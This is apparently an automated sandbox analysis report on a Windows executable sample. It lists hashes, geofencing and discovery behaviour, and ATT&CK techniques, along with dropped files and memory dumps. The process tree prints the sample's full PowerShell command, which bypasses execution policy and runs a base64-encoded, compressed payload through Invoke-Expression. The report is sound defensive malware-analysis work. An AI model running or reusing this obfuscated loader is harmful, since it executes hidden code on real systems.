5b7ded1509b6e77bc982f9786c098e17c139d4afdb736e46ccf19eccd9467343

General

Target

00147156b464a1066d3a1c7259437f30.exe
Size

251KB
MD5

00147156b464a1066d3a1c7259437f30
SHA1

0cba0c10768990899c73006ebfa4bb5993abbe50
SHA256

5b7ded1509b6e77bc982f9786c098e17c139d4afdb736e46ccf19eccd9467343
SHA512

6c0c8218c5ac63628759490fa59fd3b67b9e8e6b2f429ede3a87e7cb0b3a76f3566b41455f547656a94e48e2b4e9bd8705ff5889801f635c5c1a23a9f2ffb9bd
SSDEEP

6144:4bJhs7QW69hd1MMdxPe9N9uA0hu9TBiRXDzXJ3R/gA:4bjDhu9TsRXP5ZgA

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	00147156b464a1066d3a1c7259437f30.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3740	powershell.exe
3740	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3740	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1532 wrote to memory of 4192	1532	00147156b464a1066d3a1c7259437f30.exe	89
PID 1532 wrote to memory of 4192	1532	00147156b464a1066d3a1c7259437f30.exe	89
PID 4192 wrote to memory of 3740	4192	cmd.exe	91
PID 4192 wrote to memory of 3740	4192	cmd.exe	91
PID 4192 wrote to memory of 3740	4192	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\00147156b464a1066d3a1c7259437f30.exe
"C:\Users\Admin\AppData\Local\Temp\00147156b464a1066d3a1c7259437f30.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1532
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\4805.tmp\4806.tmp\4807.bat C:\Users\Admin\AppData\Local\Temp\00147156b464a1066d3a1c7259437f30.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
    C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoLogo -ExecutionPolicyBypass -NoProfile -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"zVZtb9s2EP6uX0EYAiLVkiD5JehiGGicLK3RxvVqtx0mGINC0TYXmhRIyrGS+b/vaMsvcrIi6Idh1gfK5HMvvHvuTjZGXfSuZsXXjPUXmZDaqd0TyQlrNoKUsZo7QVl+xyhGSicaFrLScI76XA+1RN+o1HnCLhkT2Cn3HjyUU67RqlyLcn10Oz9t50qSRJPxHJZ0Zycv9S49dLBcvh3ZLneM9do7yx6L3jL9ffhh+lvOBVy+YdnDa5UP//gIf5z3RPtDKTBRyg2wyLm26BQ5e4g/I6iqwkVPAHE2kt9v+5/v/iJYI/+KJUqh75Q3G3+WCoV0g0G+uCPy8/STmFGcsP2J2miOjLK4V2gSTyb2YDwcy4SrBdVdL3rTets53orDSTdcRb3OHq8IFjw9Fanu7qVsLi6xsd21pwlTpDOWxZM9Evie6O6APPjlRQZEB9tdVa5OfLx3maYStNwkC8qKycUFRJtIADwIee/Fz6XHRUYAdj2TyaJ6DrHQAgtWIr6mmdspHQquBOfgjXOWqyATggVcZ4GQszMvajTdTvxN0HSyA48IT53jUJ0CvhBM6JJUMWucaDx/OoqLljlZd2yZ87HQCeuGnRshf03w3LH7PCUrRDmqZKQVBkGrOXGfDjL7tzeN9nl9Kwc6p1QqPaYL0nWOYn1tKA6bTvRLGHoRPOHmiXcHHylPTWg0dl0T+VvKGN0mWDnxV4j9eWviHGxGYRgCcrRBdEY6kdofMUIy5CsUtbc5BwdMXP5HSS89emXWd+ht2qt0fwbap/4UdzDKhCLOz9LhpNpey4hNk/nvqIB8dKDgtvO0kS8k2l/XNCJt2KGgKx75NSqUJovgeYqRE79w9kOioJckKoQZaej3i5eBJ8wZ48y1bHXgTBQGYdAIovaZh1rwc9HfSOTa5zljHWRncK/4UsrEuLWdLn0Oo4dj4tTuoKPWQMwF4AqAoHdPnOxE0SOch5ZdvEJf3KMa/FsSCVEwPguIR7MBOr3QrbeNtQIatFG46t1YD3PKCMyeR+Qz/WNhSJfxpF51tfDsx3obuPPvgb5hyUyBtoHgxEVrawokcGzajcAXCnYJapm3eh0sgHM2Nd7t1J14BBPQjCKgH0xeGEfBh4SnjLgg5UeTtWVrkAVG+CZlyF8QMwqvyZRyqqmA4sHIHyRAyNpmbNaQz+GfyhJMtoP0JufYIGFYZjBd9VzmJkFQmhcXlQ+R0LOL4BPhMz33wlUTqA9LK3StnedfYLAD9YMNH0U2InJJgfbBbSLVPGEmhSIrTARRCHnbfkJAOa2CXdhd10N7I8A8vct6+Y1iitVebau2yphKGy7r8e15KwzLlrNeW+b5Bw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\4805.tmp\4806.tmp\4807.bat

Filesize
3KB

MD5
bd4b3243d8caedf16307a717354a41b5

SHA1
4c0737006c558e695d0823f935f14fdcf063e277

SHA256
03b127cbd572cea29141967489b551708d92d91f2260ae09f1d64c3f3b4b2270

SHA512
6e96dd55d203bc16f65ea91b04407b366ebc05196df8750738a989ad7b364c8bb58c949c9286994dc56e12896e1c6330dfd5c868ad11ba2dcf2345d381630f9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tyvg5ich.gp1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3740-22-0x0000000007930000-0x0000000007FAA000-memory.dmp

Filesize
6.5MB

Download
memory/3740-46-0x00000000077A0000-0x00000000077A8000-memory.dmp

Filesize
32KB

Download
memory/3740-6-0x0000000005330000-0x0000000005958000-memory.dmp

Filesize
6.2MB

Download
memory/3740-5-0x0000000004CF0000-0x0000000004D00000-memory.dmp

Filesize
64KB

Download
memory/3740-7-0x0000000005200000-0x0000000005222000-memory.dmp

Filesize
136KB

Download
memory/3740-9-0x0000000005AD0000-0x0000000005B36000-memory.dmp

Filesize
408KB

Download
memory/3740-3-0x0000000074A90000-0x0000000075240000-memory.dmp

Filesize
7.7MB

Download
memory/3740-8-0x00000000052A0000-0x0000000005306000-memory.dmp

Filesize
408KB

Download
memory/3740-19-0x0000000005BC0000-0x0000000005F14000-memory.dmp

Filesize
3.3MB

Download
memory/3740-20-0x00000000061E0000-0x00000000061FE000-memory.dmp

Filesize
120KB

Download
memory/3740-21-0x0000000006270000-0x00000000062BC000-memory.dmp

Filesize
304KB

Download
memory/3740-23-0x0000000006720000-0x000000000673A000-memory.dmp

Filesize
104KB

Download
memory/3740-49-0x0000000074A90000-0x0000000075240000-memory.dmp

Filesize
7.7MB

Download
memory/3740-4-0x0000000004CF0000-0x0000000004D00000-memory.dmp

Filesize
64KB

Download
memory/3740-41-0x00000000077E0000-0x0000000007876000-memory.dmp

Filesize
600KB

Download
memory/3740-40-0x00000000075A0000-0x00000000075AA000-memory.dmp

Filesize
40KB

Download
memory/3740-39-0x00000000074B0000-0x0000000007553000-memory.dmp

Filesize
652KB

Download
memory/3740-37-0x0000000004CF0000-0x0000000004D00000-memory.dmp

Filesize
64KB

Download
memory/3740-38-0x0000000004CF0000-0x0000000004D00000-memory.dmp

Filesize
64KB

Download
memory/3740-36-0x0000000007270000-0x000000000728E000-memory.dmp

Filesize
120KB

Download
memory/3740-42-0x0000000007740000-0x0000000007751000-memory.dmp

Filesize
68KB

Download
memory/3740-26-0x00000000708B0000-0x00000000708FC000-memory.dmp

Filesize
304KB

Download
memory/3740-24-0x000000007F880000-0x000000007F890000-memory.dmp

Filesize
64KB

Download
memory/3740-43-0x0000000007760000-0x000000000776E000-memory.dmp

Filesize
56KB

Download
memory/3740-44-0x0000000007770000-0x0000000007784000-memory.dmp

Filesize
80KB

Download
memory/3740-25-0x0000000007230000-0x0000000007262000-memory.dmp

Filesize
200KB

Download
memory/3740-45-0x00000000077B0000-0x00000000077CA000-memory.dmp

Filesize
104KB

Download
memory/3740-2-0x0000000004C10000-0x0000000004C46000-memory.dmp

Filesize
216KB

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Analysis

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